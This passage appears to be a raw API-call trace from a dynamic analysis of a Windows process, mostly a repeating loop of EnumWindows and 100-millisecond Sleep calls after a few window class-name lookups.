lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0238.448] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.449] Sleep (dwMilliseconds=0x64) [0238.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.450] Sleep (dwMilliseconds=0x64) [0238.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.461] Sleep (dwMilliseconds=0x64) [0238.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.470] Sleep (dwMilliseconds=0x64) [0238.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.479] Sleep (dwMilliseconds=0x64) [0238.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.637] Sleep (dwMilliseconds=0x64) [0238.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.660] Sleep (dwMilliseconds=0x64) [0238.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.662] Sleep (dwMilliseconds=0x64) [0238.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.664] Sleep (dwMilliseconds=0x64) [0238.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.669] Sleep (dwMilliseconds=0x64) [0238.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.673] Sleep (dwMilliseconds=0x64) [0238.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.675] Sleep (dwMilliseconds=0x64) [0238.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.677] Sleep (dwMilliseconds=0x64) [0238.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.681] Sleep (dwMilliseconds=0x64) [0238.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.685] Sleep (dwMilliseconds=0x64) [0238.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.688] Sleep (dwMilliseconds=0x64) [0238.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.692] Sleep (dwMilliseconds=0x64) [0238.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.800] Sleep (dwMilliseconds=0x64) [0238.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.802] Sleep (dwMilliseconds=0x64) [0238.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.806] Sleep (dwMilliseconds=0x64) [0238.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.809] Sleep (dwMilliseconds=0x64) [0238.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.813] Sleep (dwMilliseconds=0x64) [0238.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.818] Sleep (dwMilliseconds=0x64) [0238.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.832] Sleep (dwMilliseconds=0x64) [0238.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.941] Sleep (dwMilliseconds=0x64) [0238.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.950] Sleep (dwMilliseconds=0x64) [0238.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.959] Sleep (dwMilliseconds=0x64) [0238.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.968] Sleep (dwMilliseconds=0x64) [0238.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.969] Sleep (dwMilliseconds=0x64) [0238.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.998] Sleep (dwMilliseconds=0x64) [0239.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.000] Sleep (dwMilliseconds=0x64) [0239.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.102] Sleep (dwMilliseconds=0x64) [0239.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.103] Sleep (dwMilliseconds=0x64) [0239.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.125] Sleep (dwMilliseconds=0x64) [0239.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.141] Sleep (dwMilliseconds=0x64) [0239.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.311] Sleep (dwMilliseconds=0x64) [0239.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.354] Sleep (dwMilliseconds=0x64) [0239.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.448] Sleep (dwMilliseconds=0x64) [0239.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.462] Sleep (dwMilliseconds=0x64) [0239.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.465] Sleep (dwMilliseconds=0x64) [0239.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.469] Sleep (dwMilliseconds=0x64) [0239.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.472] Sleep (dwMilliseconds=0x64) [0239.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.474] Sleep (dwMilliseconds=0x64) [0239.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.476] Sleep (dwMilliseconds=0x64) [0239.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.479] Sleep (dwMilliseconds=0x64) [0239.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.484] Sleep (dwMilliseconds=0x64) [0239.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.486] Sleep (dwMilliseconds=0x64) [0239.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.489] Sleep (dwMilliseconds=0x64) [0239.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.491] Sleep (dwMilliseconds=0x64) [0239.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.599] Sleep (dwMilliseconds=0x64) [0239.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.601] Sleep (dwMilliseconds=0x64) [0239.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.604] Sleep (dwMilliseconds=0x64) [0239.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.606] Sleep (dwMilliseconds=0x64) [0239.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.608] Sleep (dwMilliseconds=0x64) [0239.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.610] Sleep (dwMilliseconds=0x64) [0239.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.611] Sleep (dwMilliseconds=0x64) [0239.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.613] Sleep (dwMilliseconds=0x64) [0239.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.615] Sleep (dwMilliseconds=0x64) [0239.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.617] Sleep (dwMilliseconds=0x64) [0239.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.618] Sleep (dwMilliseconds=0x64) [0239.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.624] Sleep (dwMilliseconds=0x64) [0239.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.626] Sleep (dwMilliseconds=0x64) [0239.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.627] Sleep (dwMilliseconds=0x64) [0239.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.736] Sleep (dwMilliseconds=0x64) [0239.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.738] Sleep (dwMilliseconds=0x64) [0239.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.739] Sleep (dwMilliseconds=0x64) [0239.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.741] Sleep (dwMilliseconds=0x64) [0239.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.742] Sleep (dwMilliseconds=0x64) [0239.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.744] Sleep (dwMilliseconds=0x64) [0239.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.745] Sleep (dwMilliseconds=0x64) [0239.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.747] Sleep (dwMilliseconds=0x64) [0239.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.750] Sleep (dwMilliseconds=0x64) [0239.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.752] Sleep (dwMilliseconds=0x64) [0239.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.753] Sleep (dwMilliseconds=0x64) [0239.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.755] Sleep (dwMilliseconds=0x64) [0239.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.757] Sleep (dwMilliseconds=0x64) [0239.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.759] Sleep (dwMilliseconds=0x64) [0239.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.762] Sleep (dwMilliseconds=0x64) [0239.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.763] Sleep (dwMilliseconds=0x64) [0239.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.765] Sleep (dwMilliseconds=0x64) [0239.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.767] Sleep (dwMilliseconds=0x64) [0239.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.769] Sleep (dwMilliseconds=0x64) [0239.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.773] Sleep (dwMilliseconds=0x64) [0239.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.775] Sleep (dwMilliseconds=0x64) [0239.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.787] Sleep (dwMilliseconds=0x64) [0239.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.807] Sleep (dwMilliseconds=0x64) [0239.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.817] Sleep (dwMilliseconds=0x64) [0239.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.905] Sleep (dwMilliseconds=0x64) [0239.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.920] Sleep (dwMilliseconds=0x64) [0239.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.932] Sleep (dwMilliseconds=0x64) [0239.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0239.937] Sleep (dwMilliseconds=0x64) [0240.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.061] Sleep (dwMilliseconds=0x64) [0240.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.073] Sleep (dwMilliseconds=0x64) [0240.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.074] Sleep (dwMilliseconds=0x64) [0240.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.076] Sleep (dwMilliseconds=0x64) [0240.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.079] Sleep (dwMilliseconds=0x64) [0240.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.092] Sleep (dwMilliseconds=0x64) [0240.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.189] Sleep (dwMilliseconds=0x64) [0240.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.239] Sleep (dwMilliseconds=0x64) [0240.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.253] Sleep (dwMilliseconds=0x64) [0240.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.266] Sleep (dwMilliseconds=0x64) [0240.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.268] Sleep (dwMilliseconds=0x64) [0240.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.379] Sleep (dwMilliseconds=0x64) [0240.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.381] Sleep (dwMilliseconds=0x64) [0240.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.383] Sleep (dwMilliseconds=0x64) [0240.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.385] Sleep (dwMilliseconds=0x64) [0240.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.387] Sleep (dwMilliseconds=0x64) [0240.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.388] Sleep (dwMilliseconds=0x64) [0240.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.390] Sleep (dwMilliseconds=0x64) [0240.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.392] Sleep (dwMilliseconds=0x64) [0240.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.394] Sleep (dwMilliseconds=0x64) [0240.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.396] Sleep (dwMilliseconds=0x64) [0240.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.398] Sleep (dwMilliseconds=0x64) [0240.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.399] Sleep (dwMilliseconds=0x64) [0240.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.401] Sleep (dwMilliseconds=0x64) [0240.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.403] Sleep (dwMilliseconds=0x64) [0240.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.405] Sleep (dwMilliseconds=0x64) [0240.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.406] Sleep (dwMilliseconds=0x64) [0240.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.446] Sleep (dwMilliseconds=0x64) [0240.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.567] Sleep (dwMilliseconds=0x64) [0240.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.569] Sleep (dwMilliseconds=0x64) [0240.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.571] Sleep (dwMilliseconds=0x64) [0240.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.572] Sleep (dwMilliseconds=0x64) [0240.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.574] Sleep (dwMilliseconds=0x64) [0240.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.576] Sleep (dwMilliseconds=0x64) [0240.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.580] Sleep (dwMilliseconds=0x64) [0240.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.582] Sleep (dwMilliseconds=0x64) [0240.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.584] Sleep (dwMilliseconds=0x64) [0240.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.586] Sleep (dwMilliseconds=0x64) [0240.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.588] Sleep (dwMilliseconds=0x64) [0240.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.590] Sleep (dwMilliseconds=0x64) [0240.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.670] Sleep (dwMilliseconds=0x64) [0240.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.713] Sleep (dwMilliseconds=0x64) [0240.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.717] Sleep (dwMilliseconds=0x64) [0240.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.719] Sleep (dwMilliseconds=0x64) [0240.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.721] Sleep (dwMilliseconds=0x64) [0240.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.724] Sleep (dwMilliseconds=0x64) [0240.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.731] Sleep (dwMilliseconds=0x64) [0240.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.733] Sleep (dwMilliseconds=0x64) [0240.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.735] Sleep (dwMilliseconds=0x64) [0240.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.738] Sleep (dwMilliseconds=0x64) [0240.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.741] Sleep (dwMilliseconds=0x64) [0240.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.848] Sleep (dwMilliseconds=0x64) [0240.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.853] Sleep (dwMilliseconds=0x64) [0240.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.856] Sleep (dwMilliseconds=0x64) [0240.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.858] Sleep (dwMilliseconds=0x64) [0240.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.992] Sleep (dwMilliseconds=0x64) [0240.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.994] Sleep (dwMilliseconds=0x64) [0240.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.996] Sleep (dwMilliseconds=0x64) [0240.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.997] Sleep (dwMilliseconds=0x64) [0240.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0240.999] Sleep (dwMilliseconds=0x64) [0241.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.001] Sleep (dwMilliseconds=0x64) [0241.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.003] Sleep (dwMilliseconds=0x64) [0241.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.005] Sleep (dwMilliseconds=0x64) [0241.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.008] Sleep (dwMilliseconds=0x64) [0241.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.012] Sleep (dwMilliseconds=0x64) [0241.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.015] Sleep (dwMilliseconds=0x64) [0241.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.019] Sleep (dwMilliseconds=0x64) [0241.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.085] Sleep (dwMilliseconds=0x64) [0241.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.170] Sleep (dwMilliseconds=0x64) [0241.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.204] Sleep (dwMilliseconds=0x64) [0241.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.361] Sleep (dwMilliseconds=0x64) [0241.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.434] Sleep (dwMilliseconds=0x64) [0241.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.563] Sleep (dwMilliseconds=0x64) [0241.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.715] Sleep (dwMilliseconds=0x64) [0241.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.717] Sleep (dwMilliseconds=0x64) [0241.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.823] Sleep (dwMilliseconds=0x64) [0241.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0241.935] Sleep (dwMilliseconds=0x64) [0242.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.059] Sleep (dwMilliseconds=0x64) [0242.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.069] Sleep (dwMilliseconds=0x64) [0242.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.072] Sleep (dwMilliseconds=0x64) [0242.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.073] Sleep (dwMilliseconds=0x64) [0242.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.075] Sleep (dwMilliseconds=0x64) [0242.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.079] Sleep (dwMilliseconds=0x64) [0242.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.080] Sleep (dwMilliseconds=0x64) [0242.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.082] Sleep (dwMilliseconds=0x64) [0242.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.085] Sleep (dwMilliseconds=0x64) [0242.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.086] Sleep (dwMilliseconds=0x64) [0242.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.088] Sleep (dwMilliseconds=0x64) [0242.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.182] Sleep (dwMilliseconds=0x64) [0242.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.184] Sleep (dwMilliseconds=0x64) [0242.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.201] Sleep (dwMilliseconds=0x64) [0242.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.203] Sleep (dwMilliseconds=0x64) [0242.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.239] Sleep (dwMilliseconds=0x64) [0242.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.352] Sleep (dwMilliseconds=0x64) [0242.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.355] Sleep (dwMilliseconds=0x64) [0242.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.357] Sleep (dwMilliseconds=0x64) [0242.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.358] Sleep (dwMilliseconds=0x64) [0242.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.360] Sleep (dwMilliseconds=0x64) [0242.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.362] Sleep (dwMilliseconds=0x64) [0242.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.363] Sleep (dwMilliseconds=0x64) [0242.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.366] Sleep (dwMilliseconds=0x64) [0242.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.368] Sleep (dwMilliseconds=0x64) [0242.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.370] Sleep (dwMilliseconds=0x64) [0242.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.372] Sleep (dwMilliseconds=0x64) [0242.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.375] Sleep (dwMilliseconds=0x64) [0242.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.376] Sleep (dwMilliseconds=0x64) [0242.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.378] Sleep (dwMilliseconds=0x64) [0242.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.380] Sleep (dwMilliseconds=0x64) [0242.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.382] Sleep (dwMilliseconds=0x64) [0242.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.492] Sleep (dwMilliseconds=0x64) [0242.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.494] Sleep (dwMilliseconds=0x64) [0242.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.496] Sleep (dwMilliseconds=0x64) [0242.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.498] Sleep (dwMilliseconds=0x64) [0242.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.611] Sleep (dwMilliseconds=0x64) [0242.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.693] Sleep (dwMilliseconds=0x64) [0242.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.707] Sleep (dwMilliseconds=0x64) [0242.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.735] Sleep (dwMilliseconds=0x64) [0242.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.748] Sleep (dwMilliseconds=0x64) [0242.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.750] Sleep (dwMilliseconds=0x64) [0242.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.752] Sleep (dwMilliseconds=0x64) [0242.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.759] Sleep (dwMilliseconds=0x64) [0242.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.761] Sleep (dwMilliseconds=0x64) [0242.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.763] Sleep (dwMilliseconds=0x64) [0242.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.765] Sleep (dwMilliseconds=0x64) [0242.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.767] Sleep (dwMilliseconds=0x64) [0242.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.768] Sleep (dwMilliseconds=0x64) [0242.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.770] Sleep (dwMilliseconds=0x64) [0242.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.772] Sleep (dwMilliseconds=0x64) [0242.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.774] Sleep (dwMilliseconds=0x64) [0242.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.776] Sleep (dwMilliseconds=0x64) [0242.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.777] Sleep (dwMilliseconds=0x64) [0242.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.779] Sleep (dwMilliseconds=0x64) [0242.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.781] Sleep (dwMilliseconds=0x64) [0242.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.857] Sleep (dwMilliseconds=0x64) [0242.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.859] Sleep (dwMilliseconds=0x64) [0242.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.861] Sleep (dwMilliseconds=0x64) [0242.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.863] Sleep (dwMilliseconds=0x64) [0242.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.865] Sleep (dwMilliseconds=0x64) [0242.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.867] Sleep (dwMilliseconds=0x64) [0242.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.869] Sleep (dwMilliseconds=0x64) [0242.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.871] Sleep (dwMilliseconds=0x64) [0242.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.874] Sleep (dwMilliseconds=0x64) [0242.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.876] Sleep (dwMilliseconds=0x64) [0242.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.877] Sleep (dwMilliseconds=0x64) [0242.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.879] Sleep (dwMilliseconds=0x64) [0242.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.881] Sleep (dwMilliseconds=0x64) [0242.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.883] Sleep (dwMilliseconds=0x64) [0242.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.884] Sleep (dwMilliseconds=0x64) [0242.886] EnumWindows 